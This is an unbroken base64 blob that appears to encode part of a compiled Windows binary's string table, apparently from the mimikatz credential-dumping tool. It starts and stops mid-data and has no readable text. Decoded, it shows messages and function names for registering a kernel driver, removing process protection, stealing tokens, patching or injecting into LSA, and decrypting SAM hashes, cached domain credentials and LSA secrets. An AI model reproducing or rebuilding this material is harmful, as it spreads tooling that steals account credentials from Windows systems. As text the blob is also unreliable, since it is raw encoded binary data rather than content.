GUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAArAAAAAAAAAHIAZQBtAG8AdgBlAAAAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAAABtAGkAbQBpAGQAcgB2AC4AcwB5AHMAAABtAGkAbQBpAGQAcgB2AAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAAAAAABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABBAEMATAAgAHQAbwAgAGUAdgBlAHIAeQBvAG4AZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAVwBvAHIAbABkAFQAbwBNAGkAbQBpAGsAYQB0AHoAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAQwByAGUAYQB0AGUAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBpAHMARgBpAGwAZQBFAHgAaQBzAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABBAGIAcwBvAGwAdQB0AGUAUABhAHQAaABPAGYAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAFMAdABhAHIAdABTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAEMATQBhAG4AYQBnAGUAcgAoAGMAcgBlAGEAdABlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AG8AcABwAGUAZAAKAAAAAAAAAAAAAAAAAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcwB0AG8AcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcgBlAG0AbwB2AGUAZAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHIAZQBtAG8AdgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABQAHIAbwBjAGUAcwBzACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHAAaQBkAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHAAcgBvAGMAZQBzAHMAOgBwAHIAbwBnAHIAYQBtAC4AZQB4AGUAIABvAHIAIAAvAHAAaQBkADoAcAByAG8AYwBlAHMAcwBpAGQAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAUABJAEQAIAAlAHUAIAAtAD4AIAAlADAAMgB4AC8AJQAwADIAeAAgAFsAJQAxAHgALQAlADEAeAAtACUAMQB4AF0ACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAE4AbwAgAFAASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAFAAcgBvAHQAZQBjAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABiAGUAZgBvAHIAZQAgAFcAaQBuAGQAbwB3AHMAIABWAGkAcwB0AGEACgAAAAAAZgByAG8AbQAAAAAAdABvAAAAAAAAAAAAVABvAGsAZQBuACAAZgByAG8AbQAgAHAAcgBvAGMAZQBzAHMAIAAlAHUAIAB0AG8AIABwAHIAbwBjAGUAcwBzACAAJQB1AAoAAAAAAAAAAAAgACoAIABmAHIAbwBtACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAUwBZAFMAVABFAE0AIAB0AG8AawBlAG4ACgAAAAAAAAAAAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAAVABhAHIAZwBlAHQAIAA9ACAAMAB4ACUAcAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBuAG8AdABpAGYAeQBHAGUAbgBlAHIAaQBjAFIAZQBtAG8AdgBlACAAOwAgAE4AbwAgAGEAZABkAHIAZQBzAHMAPwAKAAAAAABLAGUAcgBiAGUAcgBvAHMALQBOAGUAdwBlAHIALQBLAGUAeQBzAAAASwBlAHIAYgBlAHIAbwBzAAAAAAAAAAAAVwBEAGkAZwBlAHMAdAAAAEMATABFAEEAUgBUAEUAWABUAAAAAAAAAFAAcgBpAG0AYQByAHkAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAAAAAAG4AdABkAGwAbAAuAGQAbABsAAAAAAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAEQAYQB0AGEAAAAAAAAAAABHAEIARwAAAFMAawBlAHcAMQAAAEoARAAAAAAAAAAAAEQAZQBmAGEAdQBsAHQAAABDAHUAcgByAGUAbgB0AAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAUwBBAE0ALwBBAEQAIABlAG4AdAByAGkAZQBzACAAKABuAG8AcgBtAGEAbAAsACAAcABhAHQAYwBoACAAbwBuACAAdABoAGUAIABmAGwAeQAgAG8AcgAgAGkAbgBqAGUAYwB0ACkAAAAAAGwAcwBhAAAAAAAAAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAATgBMACQASwBNACAAdABoAGUAbgAgAE0AUwBDAGEAYwBoAGUAKAB2ADIAKQAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAAAAAGMAYQBjAGgAZQAAAAAAAAAAAAAAAAAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABTAEUAQwBSAEUAVABTACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGUAYwByAGUAdABzAAAAAAAAAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBBAE0AIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAHMAYQBtAAAATABzAGEARAB1AG0AcAAgAG0AbwBkAHUAbABlAAAAAABsAHMAYQBkAHUAbQBwAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAQQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMAWQBTAFQARQBNAAAAAABTAEEATQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMAQQBNACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEUAQwBVAFIASQBUAFkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBvAG4AdAByAG8AbABTAGUAdAAwADAAMAAAAAAAAABTAGUAbABlAGMAdAAAAAAAJQAwADMAdQAAAAAAJQB4AAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgADsAIABMAFMAQQAgAEsAZQB5ACAAQwBsAGEAcwBzACAAcgBlAGEAZAAgAGUAcgByAG8AcgAKAAAAAABEAG8AbQBhAGkAbgAgADoAIAAAAAAAAABDAG8AbgB0AHIAbwBsAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAXABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAAAAAABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAAAAAAAAACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAgAEsATwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAAAAAABTAHkAcwBLAGUAeQAgADoAIAAAAAAAAABDAG8AbgB0AHIAbwBsAFwATABTAEEAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAHkAcwBrAGUAeQAgAEsATwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEwAUwBBACAASwBPAAoAAAAAAAAAAABTAEEATQBcAEQAbwBtAGEAaQBuAHMAXABBAGMAYwBvAHUAbgB0AAAAVQBzAGUAcgBzAAAAAAAAAE4AYQBtAGUAcwAAAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAVgAAAAAAAABVAHMAZQByACAAOgAgACUALgAqAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAVgAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABVAHMAZQByAHMAQQBuAGQAUwBhAG0ASwBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFYAIABLAE8ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABLAGUAIABLAE8ACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AVABMAE0AAAAAAAAAAABMAE0AIAAgAAAAAAAAAAAAJQBzACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAEUAUwAyAGIAbABvAGMAawBzADEARABXAE8AUgBEAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAQQBSAEMANAAAAAAAAAAAAAoAUwBBAE0ASwBlAHkAIAA6ACAAAAAAAEYAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwBhAG0ASwBlAHkAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AEEAUgBDADQAIABLAE8AAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAARgAgAEsATwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAARgAgAEsATwAAAFAAbwBsAGkAYwB5AAAAAABQAG8AbABSAGUAdgBpAHMAaQBvAG4AAAAKAFAAbwBsAGkAYwB5ACAAcwB1AGIAcwB5AHMAdABlAG0AIABpAHMAIAA6ACAAJQBoAHUALgAlAGgAdQAKAAAAUABvAGwARQBLAEwAaQBzAHQAAAAAAAAAUABvAGwAUwBlAGMAcgBlAHQARQBuAGMAcgB5AHAAdABpAG8AbgBLAGUAeQAAAAAATABTAEEAIABLAGUAeQAoAHMAKQAgADoAIAAlAHUALAAgAGQAZQBmAGEAdQBsAHQAIAAAAAAAAAAgACAAWwAlADAAMgB1AF0AIAAAACAAAABMAFMAQQAgAEsAZQB5ACAAOgAgAAAAAABTAGUAYwByAGUAdABzAAAAcwBlAHIAdgBpAGMAZQBzAAAAAAAAAAAACgBTAGUAYwByAGUAdAAgACAAOgAgACUAcwAAAAAAAABfAFMAQwBfAAAAAAAAAAAAQwB1AHIAcgBWAGEAbAAAAAoAYwB1AHIALwAAAAAAAABPAGwAZABWAGEAbAAAAAAACgBvAGwAZAAvAAAAAAAAAFMAZQBjAHIAZQB0AHMAXABOAEwAJABLAE0AXABDAHUAcgByAFYAYQBsAAAAAAAAAEMAYQBjAGgAZQAAAAAAAABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAAAAAAAAAKgAgAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAgAGkAcwAgACUAdQAsACAAJQB1ACAAcgBlAGEAbAAgAGkAdABlAHIAYQB0AGkAbwBuACgAcwApAAoAAAAAAAAAAAAqACAARABDAEMAMQAgAG0AbwBkAGUAIAAhAAoAAAAAAAAAAAAAAAAAKgAgAEkAdABlAHIAYQB0AGkAbwBuACAAaQBzACAAcwBlAHQAIAB0AG8AIABkAGUAZgBhAHUAbAB0ACAAKAAxADAAMgA0ADAAKQAKAAAAAABOAEwAJABDAG8AbgB0AHIAbwBsAAAAAAAKAFsAJQBzACAALQAgAAAAXQAKAFIASQBEACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUALgAqAHMAXAAlAC4AKgBzAAoAAAAAAE0AcwBDAGEAYwBoAGUAVgAlAGMAIAA6ACAAAAAAAAAATwBiAGoAZQBjAHQATgBhAG0AZQAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUAcwAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGUAYwByAHkAcAB0AFMAZQBjAHIAZQB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABTAGUAYwByAGUAdAAgAHYAYQBsAHUAZQAgAEsATwAKAAAAAAAAACQATQBBAEMASABJAE4ARQAuAEEAQwBDAAAAAAAAAAAATgBUAEwATQA6AAAALwAAAHQAZQB4AHQAOgAgACUAdwBaAAAAAAAAAGgAZQB4ACAAOgAgAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAU2FtSUNvbm5lY3QAAAAAAFNhbXJDbG9zZUhhbmRsZQBTYW1JUmV0cmlldmVQcmltYXJ5Q3JlZGVudGlhbHMAAFNhbXJPcGVuRG9tYWluAABTYW1yT3BlblVzZXIAAAAAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAAAAAAAAABTYW1JRnJlZV9TQU1QUl9VU0VSX0lORk9fQlVGRkVSAExzYUlRdWVyeUluZm9ybWF0aW9uUG9saWN5VHJ1c3RlZAAAAAAAAABMc2FJRnJlZV9MU0FQUl9QT0xJQ1lfSU5GT1JNQVRJT04AAAAAAAAAVmlydHVhbEFsbG9jAAAAAExvY2FsRnJlZQAAAG1lbWNweQAAAAAAAHAAYQB0AGMAaAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAGkAbgBqAGUAYwB0AAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAEQAbwBtAGEAaQBuACAAOgAgACUAdwBaACAALwAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAJwAlAHMAJwAgAGkAcwAgAG4AbwB0ACAAYQAgAHYAYQBsAGkAZAAgAEkAZAAKAAAAAABuAGEAbQBlAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABOAGEAbQBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAUwBhAG0AUwBzAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgA